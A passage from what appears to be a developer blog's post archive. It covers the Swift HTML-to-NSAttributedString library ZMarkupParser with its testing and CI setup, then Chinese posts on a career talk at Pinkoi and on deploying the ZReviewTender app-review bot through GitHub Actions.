withPad: \" \", startingAt: 0)) } } if position < siblingColumns.count - 1 { // Add whitespace as spacing, external spacing width can be specified in number of whitespace characters attributedString.append(makeString(in: markup, string: String(repeating: \" \", count: markup.spacing))) } return attributedString}func visit(_ markup: TableRowMarkup) -> Result { let attributedString = collectAttributedString(markup) attributedString.append(makeBreakLine(in: markup)) // Add line break, please refer to Source Code for details return attributedString}func visit(_ markup: TableMarkup) -> Result { let attributedString = collectAttributedString(markup) attributedString.append(makeBreakLine(in: markup)) // Add line break, please refer to Source Code for details attributedString.insert(makeBreakLine(in: markup), at: 0) // Add line break, please refer to Source Code for details return attributedString}**Final rendering effect as shown in the figure below:**![Rendered Table](/assets/2724f02f6e7/1*Dft7H2BbeyWIO-dH4QpuSw.png)The implementation is not perfect, but it is acceptable.#### Complex Rendering Item — ImageNow, let's talk about the ultimate challenge - loading remote images into NSAttributedString.**In HTML, use `<img>` to represent an image:**```xml<img src=\"https://user-images.githubusercontent.com/33706588/219608966-20e0c017-d05c-433a-9a52-091bc0cfd403.jpg\" width=\"300\" height=\"125\"/>You can specify the desired display size using the width / height HTML attributes.Displaying images in NSAttributedString is much more complicated than expected; there is no perfect solution yet. I encountered some difficulties while working on text wrapping around images in UITextView, and this time, I have researched it extensively but still haven’t found a perfect solution.For now, let’s ignore the issue of NSTextAttachment not being reusable and not releasing memory. We’ll focus on implementing a solution where we download the image from a remote source, place it in an NSTextAttachment, and then add it to NSAttributedString, with automatic content updates.I have separated this functionality into a smaller project, so it can be optimized and reused in other projects:The main idea is inspired by the series of articles Asynchronous NSTextAttachments. However, I replaced the final content update part (to display the downloaded image properly), and I added a Delegate/DataSource for external extensions. Declare the ZNSTextAttachmentable object, encapsulating the NSTextStorage object (built-in with UITextView) and UILabel itself (UILabel does not have NSTextStorage). The replace(attachment: ZNSTextAttachment, to: ZResizableNSTextAttachment) function is used to implement replacing the attributedString within a specific NSRange. The process involves wrapping the imageURL, PlaceholderImage, and desired display size in a ZNSTextAttachment, and initially displaying the image using a placeholder. When the system needs to display the image on the screen, it will call the image(forBounds… method, and we start downloading the image data. The DataSource is used externally to decide how to download or implement the Image Cache Policy. By default, URLSession is used to request the image data. Once the download is complete, a new ZResizableNSTextAttachment is created, and the logic to customize the image size is implemented in attachmentBounds(for…. The replace(attachment: ZNSTextAttachment, to: ZResizableNSTextAttachment) method is called to replace the ZNSTextAttachment with the ZResizableNSTextAttachment. A didLoad Delegate notification is sent out, allowing external connections if needed. Completion. For detailed code, please refer to the Source Code repository.In order to refresh the UI without using NSLayoutManager.invalidateLayout(forCharacterRange: range, actualCharacterRange: nil) and NSLayoutManager.invalidateDisplay(forCharacterRange: range), the reason was that the UI wasn’t updating correctly. Since we already know the specific range, we can directly trigger the replacement of NSAttributedString to ensure the UI updates accurately.The final display result is as follows:<span style=\"color:red\">こんにちは</span>こんにちはこんにちは <br /><img src=\"https://user-images.githubusercontent.com/33706588/219608966-20e0c017-d05c-433a-9a52-091bc0cfd403.jpg\"/>![/assets/2724f02f6e7/1*bl65v-SVOK3H9ajR-Ksg6w.png)Testing & Continuous IntegrationFor this project, in addition to writing Unit Tests for individual testing, Snapshot Tests were established to perform integration testing for an overall assessment of NSAttributedString.The main functional logic has UnitTests, and combined with integration testing, the final Test Coverage is approximately 85%.ZMarkupParser — codecovSnapshot TestDirectly import the framework and use:import SnapshotTesting// ...func testShouldKeepNSAttributedString() { let parser = ZHTMLParserBuilder.initWithDefault().build() let textView = UITextView() textView.frame.size.width = 390 textView.isScrollEnabled = false textView.backgroundColor = .white textView.setHtmlString(\"html string...\", with: parser) textView.layoutIfNeeded() assertSnapshot(matching: textView, as: .image, record: false)}// ...![/assets/2724f02f6e7/1*hLPeaOTOviA0jTPNOPu1hg.png)Directly comparing the final result to the expected one ensures that the integration is functioning without any abnormalities.Codecov Test CoverageIntegrating with Codecov.io (free for Public Repo) to evaluate Test Coverage. Simply install Codecov Github App and configure it.After setting up the connection between Codecov and the Github Repo, you can also add codecov.yml in the root directory of the project.comment: # this is a top-level key layout: \"reach, diff, flags, files\" behavior: default require_changes: false # if true: only post the comment if coverage changes require_base: no # [yes :: must have a base report to post] require_head: yes # [yes :: must have a head report to post]With this configuration, every time a PR is created or reopened, the CI will automatically run, and the test result will be commented in the PR.![/assets/2724f02f6e7/1*AcKpF4dijglahV-iVYLvvA.png)Continuous IntegrationGithub Action, CI integration: ci.ymlname: CIon: workflow_dispatch: pull_request: types: [opened, reopened] push: branches: - mainjobs: build: runs-on: self-hosted steps: - uses: actions/checkout@v3 - name: spm build and test run: | set -o pipefail xcodebuild test -workspace ZMarkupParser.xcworkspace -testPlan ZMarkupParser -scheme ZMarkupParser -enableCodeCoverage YES -resultBundlePath './scripts/TestResult.xcresult' -destination 'platform=iOS Simulator,name=iPhone 14,OS=16.1' build test | xcpretty - name: Codecov uses: codecov/codecov-action@v3.1.1 with: xcode: true xcode_archive_path: './scripts/TestResult.xcresult'This configuration triggers the build and test on PR opened/reopened or push to the main branch. The test coverage report will be uploaded to Codecov.RegexWhen it comes to regular expressions, every time I use them, I improve my skills. In this project, I didn’t use them extensively, but I wanted to extract paired HTML tags using regex, so I researched how to write the expression for that purpose.Here are some cheat sheet notes on what I learned this time: The ?: construct allows () to match and group the result but does not capture and return it.e.g., (?:https?:\\/\\/)?(?:www\\.)?example\\.com will return the entire URL https://www.example.com instead of just https:// and www. The .+? construct performs a non-greedy match (finds the closest match and returns it).e.g., <.+?> will return <a> and </a> instead of the entire string <a>test</a>. The (?=XYZ) construct matches any string until the string XYZ appears. Note that [^XYZ] is similar but matches any character until X, Y, or Z appears.e.g., (?:__)(.+?(?=__))(?:__) will match test. The ?R construct recursively searches for values with the same rule.e.g., \\((?:[^()]|((?R)))+\\) will match (simple), (and(nested)), and (nested) in (simple) (and(nested)).Swift currently does not support the above constructs.Other Useful Regex Articles: Swift Regular Expression Cheat Sheet How Regular Expressions Work -> Useful for optimizing the regex performance of this project Case of Infinite Server Failure Caused by Regex Error Regex101 - Test and explore all regex rulesSwift Package Manager & CocoapodsThis was my first time developing with SPM and Cocoapods, and it was quite interesting. SPM is genuinely convenient. However, I encountered an issue when both projects depended on the same package; building both projects simultaneously caused one of them to fail due to the package not being found.I uploaded ZMarkupParser to Cocoapods, but I haven’t tested whether it works properly since I developed it with SPM 😝.ChatGPTBased on my experience using ChatGPT in development, I found it most useful for assisting in proofreading Readme files. Regarding development questions, I didn’t always get the most accurate answers, especially when asking mid-senior level questions. In those cases, ChatGPT couldn’t provide a definite or correct answer (I encountered this when asking about certain regex rules).Moreover, I wouldn’t rely on ChatGPT to write complex code. While it can help with simple code generation for objects, it’s not capable of completing an entire tool architecture. (At least, that’s how it is currently. Copilot might be more helpful for writing code in the future)However, ChatGPT can provide guidance on certain knowledge gaps, giving us a general direction on how to approach certain tasks. Sometimes, our understanding might be too limited to effectively search for the right solution on Google, and that’s when ChatGPT becomes helpful.DeclarationAfter more than three months of research and development, I am quite exhausted. Nevertheless, I want to emphasize that this project represents the feasible results I obtained through my research. It may not be the optimal solution, and there may still be room for improvement. This project is more like a starting point, and I welcome contributions to achieve the perfect solution for Markup Language to NSAttributedString conversion. Your contributions are greatly appreciated, as many aspects need the power of the community to improve.ContributingZMarkupParserAt this moment (2023/03/12), I can think of several areas for improvement, and I will document them in the repository later: Performance and algorithm optimization: Although it is faster and more stable than the native NSAttributedString.DocumentType.html, there is still room for improvement. I believe the performance is not as good as XMLParser. I hope that one day, we can achieve the same performance while maintaining customization and automatic error correction. Support for more HTML tags and style attribute conversions. Further optimization of ZNSTextAttachment to implement reuse and memory release, which may require studying CoreText. Support for Markdown parsing: As the underlying abstraction is not limited to HTML, it should be possible to create a front-end conversion from Markdown to Markup objects. Therefore, I named it ZMarkupParser instead of ZHTMLParser, hoping that one day it can also support Markdown to NSAttributedString conversion. Support for Any to Any conversion, e.g., HTML to Markdown, Markdown to HTML. Since we have the original AST tree (Markup objects), it is feasible to implement conversion between any Markup formats. Implement CSS !important functionality and enhance the inheritance strategy of MarkupStyle. Strengthen HTML selector functionality, which currently only provides basic filtering. And many more improvements. Please feel free to open issues. If you find yourself with some spare time and want to support this project without coding, giving it a ⭐ will help more people discover the repo, and maybe some GitHub wizards will contribute!SummaryZMarkupParserThese are all the technical details and thoughts behind my development of ZMarkupParser. It has taken me nearly three months of after-work and holiday time, countless research and experimentation, and finally, writing tests, increasing test coverage, and setting up CI to achieve a somewhat presentable result. I hope this tool can solve similar problems for others, and I hope we can all work together to make this tool even better.pinkoi.comCurrently, it is being used in our company’s iOS app on pinkoi.com, and no issues have been found. 😄Further Reading ZMarkupParser HTML String to NSAttributedString Tool String Rendering Asynchronous NSTextAttachmentsFor any questions or suggestions, please feel free to contact me." }, { "title": "ZMarkupParser HTML String 轉換 NSAttributedString 工具", "url": "/posts/a5643de271e4/", "categories": "ZRealm, Dev.", "tags": "html-parser, nsattributedstring, ios-app-development, html, markdown", "date": "2023-02-26 17:03:07 +0800", "snippet": "ZMarkupParser HTML String 轉換 NSAttributedString 工具轉換 HTML String 成 NSAttributedString 對應 Key 樣式設定ZhgChgLi / ZMarkupParserZhgChgLi / ZMarkupParser功能 使用純 Swift 開發,透過 Regex 剖析出 HTML Tag 並經過 Tokenizat...", "content": "ZMarkupParser HTML String 轉換 NSAttributedString 工具轉換 HTML String 成 NSAttributedString 對應 Key 樣式設定ZhgChgLi / ZMarkupParserZhgChgLi / ZMarkupParser功能 使用純 Swift 開發,透過 Regex 剖析出 HTML Tag 並經過 Tokenization,分析修正 Tag 正確性(修正沒有 end 的 tag & 錯位 tag),再轉換成 abstract syntax tree,最終使用 Visitor Pattern 將 HTML Tag 與抽象樣式對應,得到最終 NSAttributedString 結果;其中不依賴任何 Parser Lib。 支援 HTML Render (to NSAttributedString) / Stripper (剝離 HTML Tag) / Selector 功能 自動分析修正 Tag 正確性(修正沒有 end 的 tag & 錯位 tag)&lt;br&gt; -> &lt;br/&gt; &lt;b&gt;Bold&lt;i&gt;Bold+Italic&lt;/b&gt;Italic&lt;/i&gt; -> &lt;b&gt;Bold&lt;i&gt;Bold+Italic&lt;/i&gt;&lt;/b&gt;&lt;i&gt;Italic&lt;/i&gt; &lt;Congratulation!&gt; -> &lt;Congratulation!&gt; (treat as String) 支援客製化樣式指定e.g. &lt;b&gt;&lt;/b&gt; -> weight: .semilbold & underline: 1 支援自行擴充 HTML Tag 解析e.g. 解析 &lt;zhgchgli&gt;&lt;/zhgchgli&gt; 成想要的樣式 包含架構設計,方便對 HTML Tag 進行擴充目前純了支援基本的樣式之外還支援 ul/ol/li 列表及 hr 分隔線渲染,未來要擴充支援其他 HTML Tag 也能快速支援 支援從 style HTML Attribute 擴充解析樣式HTML 可以從 style 指定文字樣式,同樣的,此套件也能支援從 style 中指定樣式e.g. &lt;b style=”font-size: 20px”&gt;&lt;/b&gt; -> 粗體+字型 20 px 支援 iOS/macOS 支援 HTML Color Name to UIColor/NSColor Test Coverage: 80%+ 支援 &lt;img&gt; 圖片、 &lt;ul&gt; 項目清單、 &lt;table&gt; 表格…等等 HTMLTag 解析 比 NSAttributedString.DocumentType.html 更高的效能效能分析Performance Benchmark 測試環境:2022/M2/24GB Memory/macOS 13.2/XCode 14.1 X 軸:HTML 字數 Y 軸:渲染所花時間(秒)*另外 NSAttributedString.DocumentType.html 超過 54,600+ 長度字串就會閃退 (EXC_BAD_ACCESS)。試玩可直接下載專案打開 ZMarkupParser.xcworkspace 選擇 ZMarkupParser-Demo Target Build & Run 直接測試效果。安裝支援 SPM/Cocoapods ,請參考 Readme 。使用方式樣式宣告MarkupStyle/MarkupStyleColor/MarkupStyleParagraphStyle,對應 NSAttributedString.Key 的封裝。var font:MarkupStyleFontvar paragraphStyle:MarkupStyleParagraphStylevar foregroundColor:MarkupStyleColor? = nilvar backgroundColor:MarkupStyleColor? = nilvar ligature:NSNumber? = nilvar kern:NSNumber? = nilvar tracking:NSNumber? = nilvar strikethroughStyle:NSUnderlineStyle? = nilvar underlineStyle:NSUnderlineStyle? = nilvar strokeColor:MarkupStyleColor? = nilvar strokeWidth:NSNumber? = nilvar shadow:NSShadow? = nilvar textEffect:String? = nilvar attachment:NSTextAttachment? = nilvar link:URL? = nilvar baselineOffset:NSNumber? = nilvar underlineColor:MarkupStyleColor? = nilvar strikethroughColor:MarkupStyleColor? = nilvar obliqueness:NSNumber? = nilvar expansion:NSNumber? = nilvar writingDirection:NSNumber? = nilvar verticalGlyphForm:NSNumber? = nil...可依照自己想套用到 HTML Tag 上對應的樣式自行宣告:let myStyle = MarkupStyle(font: MarkupStyleFont(size: 13), backgroundColor: MarkupStyleColor(name: .aquamarine))HTML Tag宣告要渲染的 HTML Tag 與對應的 Markup Style,目前預定義的 HTML Tag Name 如下:A_HTMLTagName(), // <a></a>B_HTMLTagName(), // <b></b>BR_HTMLTagName(), // <br></br>DIV_HTMLTagName(), // <div></div>HR_HTMLTagName(), // <hr></hr>I_HTMLTagName(), // <i></i>LI_HTMLTagName(), // <li></li>OL_HTMLTagName(), // <ol></ol>P_HTMLTagName(), // <p></p>SPAN_HTMLTagName(), // <span></span>STRONG_HTMLTagName(), // <strong></strong>U_HTMLTagName(), // <u></u>UL_HTMLTagName(), // <ul></ul>DEL_HTMLTagName(), // <del></del>IMG_HTMLTagName(handler: ZNSTextAttachmentHandler), // <img> and image downloaderTR_HTMLTagName(), // <tr>TD_HTMLTagName(), // <td>TH_HTMLTagName(), // <th>...and more...這樣解析 &lt;a&gt; Tag 時就會套用到指定的 MarkupStyle。擴充 HTMLTagName:let zhgchgli = ExtendTagName(\"zhgchgli\")HTML Style Attribute如同前述,HTML 支援從 Style Attribute 指定樣式,這邊也抽象出來可指定支援的樣式跟擴充,目前預定義的 HTML Style Attribute 如下:ColorHTMLTagStyleAttribute(), // colorBackgroundColorHTMLTagStyleAttribute(), // background-colorFontSizeHTMLTagStyleAttribute(), // font-sizeFontWeightHTMLTagStyleAttribute(), // font-weightLineHeightHTMLTagStyleAttribute(), // line-heightWordSpacingHTMLTagStyleAttribute(), // word-spacing...擴充 Style Attribute:ExtendHTMLTagStyleAttribute(styleName: \"text-decoration\", render: { value in var newStyle = MarkupStyle() if value == \"underline\" { newStyle.underline = NSUnderlineStyle.single } else { // ... } return newStyle})使用import ZMarkupParserlet parser = ZHTMLParserBuilder.initWithDefault().set(rootStyle: MarkupStyle(font: MarkupStyleFont(size: 13)).build()initWithDefault 會自動加入預先定義的 HTML Tag Name & 預設對應的 MarkupStyle 還有預先定義的 Style Attribute。set(rootStyle:) 可指定整個字串的預設樣式,也可不指定。客製化let parser = ZHTMLParserBuilder.initWithDefault().add(ExtendTagName(\"zhgchgli\"), withCustomStyle: MarkupStyle(backgroundColor: MarkupStyleColor(name: .aquamarine))).build() // will use markupstyle you specify to render extend html tag <zhgchgli></zhgchgli>let parser = ZHTMLParserBuilder.initWithDefault().add(B_HTMLTagName(), withCustomStyle: MarkupStyle(font: MarkupStyleFont(size: 18, weight: .style(.semibold)))).build() // will use markupstyle you specify to render <b></b> instead of default bold markup styleHTML Renderlet attributedString = parser.render(htmlString) // NSAttributedString// work with UITextViewtextView.setHtmlString(htmlString)// work with UILabellabel.setHtmlString(htmlString)HTML Stripperparser.stripper(htmlString)Selector HTML Stringlet selector = parser.selector(htmlString) // HTMLSelector e.g. input: <a><b>Test</b>Link</a>selector.first(\"a\")?.first(\"b\").attributedString // will return Testselector.filter(\"a\").attributedString // will return Test Link// render from selector resultlet selector = parser.selector(htmlString) // HTMLSelector e.g. input: <a><b>Test</b>Link</a>parser.render(selector.first(\"a\")?.first(\"b\"))Async另外如果要渲染長字串,可改用 async 方法,防止卡 UI。parser.render(String) { _ in }...parser.stripper(String) { _ in }...parser.selector(String) { _ in }...Know-how UITextView 中的超連結樣式是看 linkTextAttributes,所以會出現 NSAttributedString.key 明明有設定但卻沒出現效果的情況。 UILabel 不支援指定 URL 樣式,所以會出現 NSAttributedString.key 明明有設定但卻沒出現效果的情況。 如果要渲染複雜的 HTML,還是需要使用 WKWebView (包含 JS/表格. .渲染)。技術原理及開發故事:「 手工打造 HTML 解析器的那些事 」歡迎貢獻及提出 Issue 將盡快修正有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Google 搜尋出現與本人李仲澄無關之負面新聞聲明", "url": "/posts/declaration_for_google_search_result/", "categories": "ZRealm, Life.", "tags": "blog, blogger, developer, 生活, medium", "date": "2023-01-09 08:00:00 +0800", "snippet": "聲明 #1: 技藝專題】寫程式成全民運動!專訪網頁設計金牌李仲澄 #2: 【技藝專題】人才培養做半套,技優生反成四不像聲明人:李仲澄聲明日期:2023/01/09聯繫方式:zhgchgli@gmail.com(因不想增加 Google 對無關的惡意字詞收錄,故使用圖片做為聲明文件)", "content": "聲明 #1: 技藝專題】寫程式成全民運動!專訪網頁設計金牌李仲澄 #2: 【技藝專題】人才培養做半套,技優生反成四不像聲明人:李仲澄聲明日期:2023/01/09聯繫方式:zhgchgli@gmail.com(因不想增加 Google 對無關的惡意字詞收錄,故使用圖片做為聲明文件)" }, { "title": "Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk", "url": "/posts/4b9d09cea5f0/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, pinkoi, open-house, tech-career, career-advice", "date": "2022-12-02 16:11:49 +0800", "snippet": "Pinkoi 2022 Open House for GenZ — 15 Mins Career TalkPinkoi Developers’ Night 2022 年末交流會 — 15 分鐘職涯分享演講Pinkoi Developers’ Night 2022 年末交流會活動連結: Linkedin主要聽眾:各大專院校資訊相關科系在校學生地點時間:2022/12/01 7:00 PM — ...", "content": "Pinkoi 2022 Open House for GenZ — 15 Mins Career TalkPinkoi Developers’ Night 2022 年末交流會 — 15 分鐘職涯分享演講Pinkoi Developers’ Night 2022 年末交流會活動連結: Linkedin主要聽眾:各大專院校資訊相關科系在校學生地點時間:2022/12/01 7:00 PM — 9:00 PM分享時長:15 minsAbout Me目前擔任 Pinkoi Platform (App) Engineer Lead 兼 iOS Engineer,之前待過 街聲 、 數字科技( 上櫃 5287)、 新創公司 ;從高職開始自學網站程式設計,曾獲 全國技能競賽 網頁設計職類冠軍及備取國手,畢業於臺灣科技大學資管系,2017 年轉職 iOS App 開發。熱衷於探索與技術交流,也會寫寫日常生活或開箱體驗,歡迎大家追縱我的 Medium Blog 。Pinkoi Engineer 日常 — 產品Pinkoi 產品支援電腦版、手機版、iOS、Android 四種平台及繁體中文、香港繁體、簡體中文、日文、泰文、英文六種語系。幕後有 8+ 個小隊(Squad Team)負責不同面向的工作,例如:Buyer Squad 負責買家端、Seller Squad 負責賣家端、Platform Squad 負責底層、AI Squad 負責算法…等等,一同打造 Pinkoi 產品。Pinkoi Engineer 日常 — 工具請注意:本圖非全面或最新的 Tech Stack工欲善其事必先利其器,上圖列舉了 Pinkoi 開發團隊,背後的 Tech Stack 及有使用到的工具服務;另外也列舉了跨團隊協作工具 Slack、Asana、Figma …等等服務。隨團隊規模人數不斷成長,會有更多時候需要溝通或重複性工作,此時透過引入工具服務,可以很好的解開人與人的連結,增加團隊工作效率。Pinkoi Engineer 日常 — 幕後「功」「臣」在 Pinkoi 雖然工程師被分派在各個 Squad Team 之中,但彼此之間仍會同心協力, Win as a team, 我們都還是同個家庭 。Pinkoi Engineer 日常 — 幕後「功」「臣」同職能的隊友(e.g. iOS/Android/BE/FE/Data…) 除了會定期舉行技術交流分享外,在日常開發上也會互相 Code Review、進行 System Design 討論;一同討論、一齊成長!上圖中間的「乖乖」紋身貼紙,是團隊「 送禮清單 」功能上線及「 2022 Pinkoi Design Fest 風格設計節 」活動的 祈福儀式 ,確保服務平平安安穩穩定定。Engineer 如何幫助推進商業目標?除了完成任務外,Engineer 還有許多能幫助推進商業目標的地方:首先撇開 Engineer 角色的束縛,以自身為出發點;我們可以在專案規劃時期,提出自己生活使用經驗及各種有創意的發想,例如:有觀察到朋友的使用習慣或新流行的酷東西 (e.g. iOS 16 動態島),集思廣益之下,說不定就能讓本來平凡無奇的功能變成全新的亮點!再來回到工程本身,第一當然是必備的開發能力,好的開發能力能保有擴充及穩定性,減少技術債的產生,減少日後維護成本,變相增進商業價值;同樣地,正確的技術選擇,也能在有限的開發資源下發揮最大的價值;這些都需要很多硬實力及經驗累積。除此之外,發揮溝通協調能力能讓跨工程討論更有效率、發揮協作能力能減少重工發生;都能大大增加團隊產出,更進一步推進商業目標。綜合以上,工程師絕對不是只能靠寫程式創造價值。Engineer 如何幫助推進商業目標?在 Pinkoi,小隊 (Squad Team) 的 Sync-up 或專案討論會議,除工程師之外還會有設計師、PM、分析師,一同參與專案討論;人人都可以提出自己的想法,激發出不同的火花。身為 Engineer,選擇加入具新創文化而非一般傳統大公司的原因…?個人體驗,新創文化(also in Pinkoi)有五個特性: 透明 公司的營運狀況、決策跟未來規劃,所有人都能清楚知道 平等 扁平化管理,不會有階級壓力不分職務大家都能表達意見、參與討論 視野 跟隨團隊一同成長,從小團隊到國際化團隊,增進視野結合透明與平等,能了解更多方面的眉眉角角 彈性 - 工作上的彈性:上班時間、WFH 的彈性或溝通協作上都有很多彈性討論空間- 職務上的彈性:有更多嘗試不同可能的彈性更多升遷的彈性 活躍 平均年齡相對年輕有活力,更容易產生共鳴迸出火花,也較容易推動、接納改變這些特性,以往在傳統大公司就比較不容易看到,傳統公司多半比較封閉跟一版一眼,很難有提議空間,能看到跟做的事也很有限,對於新的改變嘗試也比較排斥;對有活力的新鮮人來說相對比較難發揮。給想當軟體工程師的新鮮人一點建議…工程師 28 歲 v.s. 工程師 46 歲 (Elon Musk 也曾是工程師);雖然是梗圖,但想表達的是要成為怎麼樣的工程師,都是由你自己決定。給想當軟體工程師的新鮮人一點建議…除了精實開發能力之外,我覺得更重要的是心態問題,人生是一場旅程,有很多階段與角色需要完成;第一個是需要時時刻刻跳脫舒適圈,持續準備好面對更高的挑戰;像我最一開始其實後端工程師,後來轉 iOS 開發,現在開始挑戰管理職。第二是方向的探索,不要畫地自限,每個人都有無限可能,可以持續調整找到適合自己的方向,在拿手領域發光發熱;我們有隊友也是後期才轉職工程師或是從設計師轉職 PM,另外也可以想一下自己 30 歲、 40 歲想成為什麼角色,例如:繼續鑽研技術變架構師/Tech Lead,或是改擔任管理職。還有終身學習,學無止盡,尤其我們是資訊行業,千變萬化,如果沒有求新求變很容易被業界淘汰最後一點也很重要,要保持工作與生活的平衡,Work Hard, Play Hard 除了能提升工作效率,也能從生活經驗汲取工作靈感,如同前面所說,也許一個小創意就能改變世界、創造更高的商業價值!建議新鮮人 謹慎選擇 前幾份工作,初出社會沈默成本很低;可以先以能學到東西為找工作第一考量,盡量先選擇加入自己有做產品的公司 (e.g. Pinkoi /Line/StreetVoice…) 並不要太頻繁地更換職務 (至少待個一年起),對未來職涯會很有幫助。 人生路還很長,希望大家找到屬於自己的路,謝謝。立即加入 Pinkoi >>> https://www.pinkoi.com/about/careers花絮有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "ZReviewTender — 免費開源的 App Reviews 監控機器人", "url": "/posts/e36e48bb9265/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, app-store, google-play, app-review, automation", "date": "2022-08-10 19:56:05 +0800", "snippet": "ZReviewTender — 免費開源的 App Reviews 監控機器人實時監測 App 的最新評價內容並即時給予反饋,提升協作效率及消費者滿意度ZhgChgLi / ZReviewTenderZhgChgLi / ZReviewTenderApp Reviews to Slack ChannelZReviewTender — 為您自動監控 App Store iOS/macOS Ap...", "content": "ZReviewTender — 免費開源的 App Reviews 監控機器人實時監測 App 的最新評價內容並即時給予反饋,提升協作效率及消費者滿意度ZhgChgLi / ZReviewTenderZhgChgLi / ZReviewTenderApp Reviews to Slack ChannelZReviewTender — 為您自動監控 App Store iOS/macOS App 與 Google Play Android App 的使用者最新評價訊息,並提供持續整合工具,串接進團隊工作流程,提升協作效率及消費者滿意度。特色功能 取得 App Store iOS/macOS App 與 Google Play Android App 評價列表並篩選出尚未爬取過的最新評價內容 [預設功能] 轉發爬取到的最新評價到 Slack,點擊訊息 Timestamp 連結能快速進入後台回覆評價 [預設功能] 支援使用 Google Translate API 自動翻譯非指定語系、地區的評價內容成您的語言 [預設功能] 支援自動記錄評價到 Google Sheet 支援彈性擴充,除包含的預設功能外您仍可依照團隊工作流程,自行開發所需功能並整合進工具中 e.g. 轉發評價到 Discord, Line, Telegram… 使用時間戳紀錄爬取位置,防止重複爬取評價 支援過濾功能,可指定只爬取 多少評分、評價內容包含什麼關鍵字、什麼地區/語系 的評價 Apple 基於 全新的 App Store Connect API ,提供穩定可靠的 App Store App 評價資料來源,不再像 以往使用 XML 資料不可靠 or Fastlane Spaceship Session 會過期需定時人工維護 Android 同樣使用官方 AndroidpublisherV3 API 撈取評價資料 支援使用 Github Repo w/ Github Action 部署,讓您免費快速的建立 ZReviewTender App Reviews 機器人 100% Ruby @ RubyGem與類似服務比較App Reviews 工作流程整合範例 (in Pinkoi)問題:商城的評價對產品很重要但他卻是一個非常人工跟重複轉介溝通的事。因為要時不時人工上去看一下新評價,如過有客服問題再將問題轉發給客服協助處理,很重複、人工。透過 ZReviewTender 評價機器人,將評價自動轉發到 Slack Channel,大家能快速收到最新評價資訊,並即時追蹤、討論;也能讓整個團隊了解目前使用者對產品的評價、建議。更多資訊可參考: 2021 Pinkoi Tech Career Talk — 高效率工程團隊大解密 。部署 — 只使用預設功能如果您只需要 ZReviewTender 自帶的預設功能 (to Slack/Google Translate/Filter) 則可使用以下快速部署方式。ZReviewTender 已打包發佈到 RubyGems ,您可以快速方便的使用 RubyGems 安裝使用 ZReviewTender。[推薦] 直接使用 Github Repo Template 部署 無需任何主機空間 ✅ 無需任何環境要求 ✅ 無需了解工程原理 ✅ 完成 Config 檔案配置即完成部署 ✅ 8 個步驟即可完成部署 ✅ 完全免費 ✅Github Action 提供每個帳號 2,000+分鐘/月 執行用量,執行一次 ZReviewTender 評價撈取約只需要 15~30 秒。預設每 6 小時執行一次,一天執行 4 次, 一個月約只消耗 60 分鐘額度 。Github Private Repo 免費無限制建立。1.前往 ZReviewTender Template Repo: ZReviewTender-deploy-with-github-action點擊右上方「Use this template」按鈕。2. 建立 Repo Repository name: 輸入你想要的 Repo 專案名稱 Access: Private ⚠️⚠️ 請務必建立 Private Repo ⚠️⚠️ 因為你將上傳設定及私密金鑰到專案中最後點擊下方「Create repository from template」按鈕。3. 確認你建立的 Repo 是 Private Repo確認右上方 Repo 名稱有出現「🔒」和 Private 標籤。若無則代表您建立的事 Public Repo 非常危險 ,請前往上方 Tab「Settings」-> 「General」-> 底部「Danger Zone」-> 「Change repository visibility」->「Make private」 改回 Private Repo 。4. 等待 Project init 成功可在 Repo 首頁 Readme 中的區塊查看 Badge,如果 passing 即代表 init 成功。或是點擊上方 Tab「Actions」-> 等待「Init ZReviewTender」Workflow 執行完成:執行完成狀態會變 3「✅ Init ZReviewTender」-> Project init 成功。5. 確認 init 檔案及目錄是否正確建立點擊上方 Tab「Code」回到專案目錄,Project init 成功的話會出現: 目錄: config/ 檔案: config/android.yml 檔案: config/apple.yml 目錄: latestCheckTimestamp/ 檔案: latestCheckTimestamp/.keep6. 完成 Configuration 配置好 android.yml & apple.yml進入 config/ 目錄完成 android.yml & apple.yml 檔案配置。點擊進入要編輯的 confi YML 檔案點擊右上方「✏️」編輯檔案。參考本文下方「 設定 」區塊完成配置好 android.yml & apple.yml 。編輯完成後可以直接在下方「Commit changes」儲存設定。上傳相應的 Key 檔案到 config/ 目錄下:在 config/ 目錄下,右上角選擇「Add file」->「Upload files」將 config yml 裡配置的相應 Key、外部檔案路徑一併上傳到 config/ 目錄下,拖曳檔案到「上方區塊」-> 等待檔案上傳完成 -> 下方直接「Commit changes」儲存。上傳完成後回到 /config 目錄查看檔案是否正確儲存&上傳。7. 初始化 ZReviewTender (手動觸發執行一次)點擊上方 Tab「Actions」-> 左方選擇「ZReviewTender」-> 右方按鈕選擇「Run workflow」-> 點擊「Run workflow」按鈕執行一次 ZReviewTender。點擊後,重新整理網頁 會出現:點擊「ZReviewTender」可進入查看執行狀況。展開「 Run ZreviewTender -r 」區塊可查看執行 Log。這邊可以看到出現 Error,因為我還沒配置好我的 config yml 檔案。回頭調整好 android/apple config yml 後再回到 6. 步驟一開始重新觸發執行一次。查看 「 ZReviewTender -r 」區塊的 log 確認執行成功!Slack 指定接收最新評價訊息的 Channel 也會出現 init Success 成功訊息 🎉8. Done! 🎉 🎉 🎉配置完成!爾後每 6 個小時會自動爬取期間內的最新評價並轉發到你的 Slack Channel 中!可在 Repo 首頁 Readme 中的頂部查看最新一次執行狀況:若出現 Error 即代表執行發生錯誤,請從 Acions -> ZReviewTender 進入查看紀錄;如果有意外的錯誤,請 建立一個 Issue 附上紀錄資訊,將會盡快修正! ❌❌❌執行發生錯誤同時 Github 也會寄信通知,不怕發生錯誤機器人掛掉但沒人發現!Github Action 調整您還可以依照自己需求配置 Github Action 執行規則。點擊上方 Tab「Actions」-> 左方「ZReviewTender」-> 右上方「 ZReviewTender.yml 」點擊右上方「✏️」編輯檔案。有兩個參數可供調整:cron : 設定多久檢查一次有無新評價,預設是 15 */6 * * * 代表每 6 小時 15 分鐘會執行一次。可參考 crontab.guru 依照自己的需求配置。 請注意: 1. Github Action 使用的是 UTC 時區 2. 執行頻率越高會消耗越多Github Action 執行額度run : 設定要執行的指令,可參考本文下方「 執行 」區塊,預設是 ZReviewTender -r 預設執行 Android App & Apple(iOS/macOS App): ZReviewTender -r 只執行 Android App: ZReviewTender -g 只執行 Apple(iOS/macOS App) App: ZReviewTender -a編輯完成後點擊右上方「Start commit」選擇「Commit changes」儲存設定。手動觸發執行 